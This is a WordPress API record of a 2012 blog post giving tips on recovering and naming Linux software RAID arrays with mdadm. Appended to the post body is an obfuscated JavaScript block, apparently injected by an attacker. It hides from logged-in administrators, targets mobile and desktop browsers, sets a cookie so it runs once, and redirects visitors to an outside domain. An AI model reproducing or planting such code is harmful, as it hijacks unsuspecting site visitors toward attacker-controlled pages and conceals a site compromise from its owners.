{"id":5,"date":"2012-02-13T10:58:53","date_gmt":"2012-02-13T02:58:53","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=5"},"modified":"2012-07-10T09:35:56","modified_gmt":"2012-07-10T01:35:56","slug":"everything-i-know-about-linux-software-raid-mdadm","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/02\/13\/everything-i-know-about-linux-software-raid-mdadm\/","title":{"rendered":"Everything I know about Linux software raid (mdadm)"},"content":{"rendered":"<p>I hope this post could help some people when dealing with Linux software RAID (mdadm).<br \/>\n<!--more--><\/p>\n<ul>\n<li>Recently, mdadm is updated to use metadata 1.2 as default, be careful when you try to recover your software raid which created by older version of mdadm.\u00a0 Look at the option &#8216;-e&#8217;, try &#8216;-e 0.90&#8217;<\/li>\n<li>Newer mdadm will use 512KB as chunk size as default VS 64KB as before, be careful when rebuild your old array in newer system. Look at the option &#8216;-c&#8217;.<\/li>\n<li>Recover your array may using following command: e.g.,\n<pre>mdadm -C \/dev\/md0 -l 5 -n 4 -e 0.90 -c 64 --assume-clean missing \/dev\/sda4 \/dev\/sdb4 \/dev\/sdd4<\/pre>\n<\/li>\n<li>New system will use md126, md127 as the device name for the array when boot up, anyway I overcome the problem by using &#8216;name&#8217; instead of &#8216;number&#8217; as the device name, e.g.,<\/li>\n<li>\n<pre>mdadm -C \/dev\/md\/storage -l 1 -n 2 --assume-clean \/dev\/sda2 \/dev\/sdb2 -N 'storage'<\/pre>\n<ul>\n<li>However, the real device will be appear as \/dev\/md\/[hostname]:storage, the problem seem mdadm will make the device prefix with hostname when the homehost of the array if difference from the metadata. You may get rid of the hostname part by specify homehost value in mdadm.conf.<\/li>\n<\/ul>\n<\/li>\n<li>When you cat \/proc\/mdstat, you may get a array marked &#8216;auto-read-only&#8217;.\u00a0 You may feel free to ignore it since it will become read-write after the first write to the array.<\/li>\n<li>When your root device is a software raid, remember tag it as &#8216;Linux autoraid&#8217; using fdisk or sfdisk similar tools, otherwise, Linux will not form the raid when it boot.  After system has mounted the filesystem, all other raid partition could be form by reading mdadm.conf, if they are not marked as Linux RAID autodetect.\n<\/ul>\n<p>&nbsp;<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I hope this post could help some people when dealing with Linux software RAID (mdadm).<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[3],"tags":[5,4],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/5"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=5"}],"version-history":[{"count":18,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/5\/revisions"}],"predecessor-version":[{"id":25,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/5\/revisions\/25"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=5"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=5"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=5"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}